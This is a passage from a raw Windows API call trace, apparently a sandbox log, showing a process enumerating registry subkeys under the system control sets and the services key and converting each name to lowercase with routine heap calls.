cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.898] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.898] RegCloseKey (hKey=0x148) returned 0x0 [0232.898] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0232.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.899] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.899] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.899] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.899] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.900] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.900] RegCloseKey (hKey=0x150) returned 0x0 [0232.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0232.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.902] WideCharToMultiByte (in: CodePage=0x0, 